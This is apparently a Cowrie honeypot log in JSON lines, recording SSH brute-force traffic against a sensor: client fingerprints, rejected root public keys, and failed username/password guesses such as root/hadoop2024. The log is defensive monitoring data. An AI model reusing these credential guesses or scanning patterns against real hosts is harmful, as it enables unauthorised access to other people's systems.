{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:26.380888Z","src_ip":"103.77.175.15","session":"031e438bb935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kotik1","message":"login attempt [root/kotik1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:27.063725Z","src_ip":"103.77.175.15","session":"031e438bb935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:28.293355Z","src_ip":"103.77.175.15","session":"031e438bb935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":47540,"dst_ip":"10.17.0.5","dst_port":22,"session":"276e095f996d","protocol":"ssh","message":"New connection: 154.16.115.17:47540 (10.17.0.5:22) [session: 276e095f996d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.019665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.022956Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.051014Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:10:2d:ab:3f:63:a2:ef:94:0d:5c:31:c6:1e:b0:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtadBi7rDQlrxnZMBJjdWXdjip3ecRgLoHTvibadMgZeTXdFgGse0mUJ9ikHxwKpNeSo0otCUWxy8gpad93miE4QEBnK9kJCYQPssG0gfpBlOQ+D1v1tByKjOMQhuW5laeoC+SYGnnFk0Ck091dOgyE7ffv/ysi/BbOKDNL52Jl2piUGqb0F/h5yjsSIVgD/z/TkGJKtH9zVtcqFJKZhcQdEGh42eBLI4SgizoHp9YYKkNcfYtHZ2KJKCJApqcNVxkP6BAJ0BQveOiZOJgCMSUVMAo/sU33zwS93qjzscXEdOxd+uGSwtyfSZm24bf1KoucBHSWXcJxJ053UCC+YJcoRDQq3znX2HTtjP63oxAXFl3na7HEPx8l6YYuO9XvANp96GcfP+Af/1+pW9Jsptov9s3i1Z86SLtMtdoXO43u9iX2xpy1kWCmceDUdgSe2WyEejLx4aZtvPpurjRz/ytvybgGhcvcyVsJ3ANDjsAz2/szDXFCgfous6abUUUO/5d6Ybf5djn87AhzOowdka60Hhqo37BXk5b18Z6AEHMmMrjS4ctntFV0Vv3c2Ty9iD4FeUC0kngcfKppQO3mvHIAgwPBPNnuoLibLWxA6/MwwD+Oq2jxMZBWOQXcakj48wuTblrIkYiITNvAs932catHVF78MD9Sjb0R/6sdB77yw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:10:2d:ab:3f:63:a2:ef:94:0d:5c:31:c6:1e:b0:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.166585Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:10:2d:ab:3f:63:a2:ef:94:0d:5c:31:c6:1e:b0:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtadBi7rDQlrxnZMBJjdWXdjip3ecRgLoHTvibadMgZeTXdFgGse0mUJ9ikHxwKpNeSo0otCUWxy8gpad93miE4QEBnK9kJCYQPssG0gfpBlOQ+D1v1tByKjOMQhuW5laeoC+SYGnnFk0Ck091dOgyE7ffv/ysi/BbOKDNL52Jl2piUGqb0F/h5yjsSIVgD/z/TkGJKtH9zVtcqFJKZhcQdEGh42eBLI4SgizoHp9YYKkNcfYtHZ2KJKCJApqcNVxkP6BAJ0BQveOiZOJgCMSUVMAo/sU33zwS93qjzscXEdOxd+uGSwtyfSZm24bf1KoucBHSWXcJxJ053UCC+YJcoRDQq3znX2HTtjP63oxAXFl3na7HEPx8l6YYuO9XvANp96GcfP+Af/1+pW9Jsptov9s3i1Z86SLtMtdoXO43u9iX2xpy1kWCmceDUdgSe2WyEejLx4aZtvPpurjRz/ytvybgGhcvcyVsJ3ANDjsAz2/szDXFCgfous6abUUUO/5d6Ybf5djn87AhzOowdka60Hhqo37BXk5b18Z6AEHMmMrjS4ctntFV0Vv3c2Ty9iD4FeUC0kngcfKppQO3mvHIAgwPBPNnuoLibLWxA6/MwwD+Oq2jxMZBWOQXcakj48wuTblrIkYiITNvAs932catHVF78MD9Sjb0R/6sdB77yw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.169327Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:57:8b:94:8a:38:eb:15:17:90:42:e3:b9:79:25:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF4kcSdsZnhMKeEb9PgGd8oLQSEFRYsI7QWF1L/dCVvMZAZkB825NciVtkJvyPJqLhGyrE//t3D1/zKJ5wnnpeUrgGcogXfyo0Gz6j3ZpdSFcKuk3PWQUc1rYxie3wBtqTxFlxWoTDNCKVL6fYg/tqnqOjuJjAKrzQzrpPbOe/jM29c+bzrLLmmOlQnc21Yf9WCj5d5+1X1cvXsvpq84C63lo2dRL3wJpz3Hyv7sSwugoZqdncDBn8zwDvfqrOixfElhbOS53hBBIkmHiaG/ITrriuGrYK0Ks+KNzu4zjbcoKy8aYRL5xOBiPIpDhaFbWbmFMPlbJuv6cvwUCo5dI0yJkIQduYODRqBjEijtLyRwypGdchT91zpokm9VLVSnb7Njj+dOZQTb5GoDSLgOkjQrR1YmoLZLUQzl0KlWob3vlvY0i3yyCbX2ZTVWNyPMdJmmzU0Za/JxUGhzJ+9SYiu2boMXKlPRzgzFuAnkRA0iZFNX7VUrGaaRjdyiZsnyOKiPQK2ikut3FoBhxGD8P2lUy2sTJdxq7SmW50qRNjrUdwD2NgQ168wNdYxCVl/NsbtebCsp4+KnFYIUlNddUpoGvKi0HOxYpyLseDRkSwunUA3vCnDtbau7NLmXomf8Lv5UJYzBVFELxH0dG698zT1yQ50OdFGfpUO7oVgVPtpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:57:8b:94:8a:38:eb:15:17:90:42:e3:b9:79:25:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.197306Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:57:8b:94:8a:38:eb:15:17:90:42:e3:b9:79:25:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF4kcSdsZnhMKeEb9PgGd8oLQSEFRYsI7QWF1L/dCVvMZAZkB825NciVtkJvyPJqLhGyrE//t3D1/zKJ5wnnpeUrgGcogXfyo0Gz6j3ZpdSFcKuk3PWQUc1rYxie3wBtqTxFlxWoTDNCKVL6fYg/tqnqOjuJjAKrzQzrpPbOe/jM29c+bzrLLmmOlQnc21Yf9WCj5d5+1X1cvXsvpq84C63lo2dRL3wJpz3Hyv7sSwugoZqdncDBn8zwDvfqrOixfElhbOS53hBBIkmHiaG/ITrriuGrYK0Ks+KNzu4zjbcoKy8aYRL5xOBiPIpDhaFbWbmFMPlbJuv6cvwUCo5dI0yJkIQduYODRqBjEijtLyRwypGdchT91zpokm9VLVSnb7Njj+dOZQTb5GoDSLgOkjQrR1YmoLZLUQzl0KlWob3vlvY0i3yyCbX2ZTVWNyPMdJmmzU0Za/JxUGhzJ+9SYiu2boMXKlPRzgzFuAnkRA0iZFNX7VUrGaaRjdyiZsnyOKiPQK2ikut3FoBhxGD8P2lUy2sTJdxq7SmW50qRNjrUdwD2NgQ168wNdYxCVl/NsbtebCsp4+KnFYIUlNddUpoGvKi0HOxYpyLseDRkSwunUA3vCnDtbau7NLmXomf8Lv5UJYzBVFELxH0dG698zT1yQ50OdFGfpUO7oVgVPtpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.199700Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:b6:1e:97:1f:d2:87:35:69:89:f9:03:8a:eb:a9:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNTQWLOSYdCUq78SZJLHoSCxVqaKQ9re5vz8IgxKsRvGD5RMtjgGcIA/UufhV91hWeaetD1amtowivmkqhe8pDHqZCxfWFSiaURZ/T7yOMlmFFlsBM0YllTvuS6+5kHPlfzd3t8n3aQUyHX45WdhXwinkUEgDpzQccxx47r9uWHdW/fhCYrFgWQXKfxclLl0WGmhv7/EHeotI6nqK1b36BqHJ+1JLiAnpY4G2L+/Kym7BnXl3+pJWJGP0h0I4NYAuJFcMIOeqnwkFMtFuCrNA0vj9qVJ8smJwTIwDPlCvZi7l1EhCs8ObImeN/0C5kSWFG5SJ4Gk2j1X2hEOHJI7Z6BMh9lYczrTmgax5dN5TVBrGirPvcbIf4xKUY09Emdo4vkOI9QU2R5Z8DJB7aknnr5PFnad8pp9H9kNFHTes3q2v4fmdaFJEhxssl69y8dCztbxJw+B1J6MOs7Z7zQAC5r82b32D+mamyuEhNTA4fnLHTwGuwuMUqBquh2t1vM/s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:b6:1e:97:1f:d2:87:35:69:89:f9:03:8a:eb:a9:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.226436Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:b6:1e:97:1f:d2:87:35:69:89:f9:03:8a:eb:a9:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNTQWLOSYdCUq78SZJLHoSCxVqaKQ9re5vz8IgxKsRvGD5RMtjgGcIA/UufhV91hWeaetD1amtowivmkqhe8pDHqZCxfWFSiaURZ/T7yOMlmFFlsBM0YllTvuS6+5kHPlfzd3t8n3aQUyHX45WdhXwinkUEgDpzQccxx47r9uWHdW/fhCYrFgWQXKfxclLl0WGmhv7/EHeotI6nqK1b36BqHJ+1JLiAnpY4G2L+/Kym7BnXl3+pJWJGP0h0I4NYAuJFcMIOeqnwkFMtFuCrNA0vj9qVJ8smJwTIwDPlCvZi7l1EhCs8ObImeN/0C5kSWFG5SJ4Gk2j1X2hEOHJI7Z6BMh9lYczrTmgax5dN5TVBrGirPvcbIf4xKUY09Emdo4vkOI9QU2R5Z8DJB7aknnr5PFnad8pp9H9kNFHTes3q2v4fmdaFJEhxssl69y8dCztbxJw+B1J6MOs7Z7zQAC5r82b32D+mamyuEhNTA4fnLHTwGuwuMUqBquh2t1vM/s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.230266Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:91:51:38:88:7c:1a:14:02:f4:e2:ae:1a:ca:17:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAiw5jrlzWZ8IX8bmVwly62AkEP8lE0orXWhxiWwVOe4lCf/yKZZt9iVSLZVY6boQztEyXkHnRhldLPdjYcSfjcGzGHS6gkUpdprRYWtZBpV+aNu43pWIS0Pr6lN2qGlj4qLLjpZdjlmub2g6hfIO/SUs3Yt87+hlc2xMlz1ROCtwmUs6ttnxx9vxmEOw0r6wrV0mfZTvU3e3e1VIyrBW6bVELeU7IWoYCz6v9luUa09SuilQqxkFwZjbVjPUiYpNU591DARsgAqhgC9hhd9MkKqKs2MhU+jvu061I7zyg1B3zbWLNfA3aIMByLTDaG8JH+ZQ8DS+psNHh+IFnlZfz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:91:51:38:88:7c:1a:14:02:f4:e2:ae:1a:ca:17:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.256778Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:91:51:38:88:7c:1a:14:02:f4:e2:ae:1a:ca:17:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAiw5jrlzWZ8IX8bmVwly62AkEP8lE0orXWhxiWwVOe4lCf/yKZZt9iVSLZVY6boQztEyXkHnRhldLPdjYcSfjcGzGHS6gkUpdprRYWtZBpV+aNu43pWIS0Pr6lN2qGlj4qLLjpZdjlmub2g6hfIO/SUs3Yt87+hlc2xMlz1ROCtwmUs6ttnxx9vxmEOw0r6wrV0mfZTvU3e3e1VIyrBW6bVELeU7IWoYCz6v9luUa09SuilQqxkFwZjbVjPUiYpNU591DARsgAqhgC9hhd9MkKqKs2MhU+jvu061I7zyg1B3zbWLNfA3aIMByLTDaG8JH+ZQ8DS+psNHh+IFnlZfz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.259795Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:2a:7e:ae:91:94:07:f1:4a:d9:e3:20:ee:16:c4:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNeORbvDlK1chNJe+krHCg2ZrQLassoRE7N4pN2UJIfUa0bkyVoKP+zcrHPwiXTR439NVI+UAySb/e84D0YSbj0HVLpKbEnyWAd7g6rmFX+ZVTkrpNYxxj+0bAP3aeI2qFBlBIM02FoE1EiHjZPqXmMBMNUnLgx+8c4xPFvUJfdUbQjwNyDY/4SX4iZdVaiykqsUctCe66F+S1/RRcEq8UIw7wkyqD7g4P20R2fmh4SVNGLNJA3ITqUtnzl1QqsBTIgrDdzMtm9BSAI1DFDV5g91fq2QnYweh/jXLV+De4QT/XGq8T/iiR65PJFs0SXMlJlx6H+9zAY8/HZG4iev9t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:2a:7e:ae:91:94:07:f1:4a:d9:e3:20:ee:16:c4:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.289433Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:2a:7e:ae:91:94:07:f1:4a:d9:e3:20:ee:16:c4:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNeORbvDlK1chNJe+krHCg2ZrQLassoRE7N4pN2UJIfUa0bkyVoKP+zcrHPwiXTR439NVI+UAySb/e84D0YSbj0HVLpKbEnyWAd7g6rmFX+ZVTkrpNYxxj+0bAP3aeI2qFBlBIM02FoE1EiHjZPqXmMBMNUnLgx+8c4xPFvUJfdUbQjwNyDY/4SX4iZdVaiykqsUctCe66F+S1/RRcEq8UIw7wkyqD7g4P20R2fmh4SVNGLNJA3ITqUtnzl1QqsBTIgrDdzMtm9BSAI1DFDV5g91fq2QnYweh/jXLV+De4QT/XGq8T/iiR65PJFs0SXMlJlx6H+9zAY8/HZG4iev9t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.291885Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:37.321333Z","src_ip":"154.16.115.17","session":"276e095f996d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":38230,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7f110a92f1","protocol":"ssh","message":"New connection: 61.72.55.130:38230 (10.17.0.5:22) [session: eb7f110a92f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:52.663488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:52.666844Z","src_ip":"61.72.55.130","session":"eb7f110a92f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:52.869885Z","src_ip":"61.72.55.130","session":"eb7f110a92f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"qwertyuiop","message":"login attempt [lighthouse/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:53.716920Z","src_ip":"61.72.55.130","session":"eb7f110a92f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:54.923228Z","src_ip":"61.72.55.130","session":"eb7f110a92f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.94546294212341,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:58.800767Z","src_ip":"107.6.151.170","session":"e48ec69c0c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":37866,"dst_ip":"159.203.135.109","dst_port":22,"session":"a930c118336a","protocol":"ssh","message":"New connection: 107.150.105.153:37866 (159.203.135.109:22) [session: a930c118336a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:52:06.635807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:52:06.646375Z","src_ip":"107.150.105.153","session":"a930c118336a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:52:06.734209Z","src_ip":"107.150.105.153","session":"a930c118336a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hadoop2024","message":"login attempt [root/hadoop2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:52:07.046014Z","src_ip":"107.150.105.153","session":"a930c118336a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:52:08.127887Z","src_ip":"107.150.105.153","session":"a930c118336a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":55130,"dst_ip":"10.17.0.5","dst_port":22,"session":"c815ca899392","protocol":"ssh","message":"New connection: 91.92.40.176:55130 (10.17.0.5:22) [session: c815ca899392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:33.186022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:33.190821Z","src_ip":"91.92.40.176","session":"c815ca899392","protocol":"ssh"}
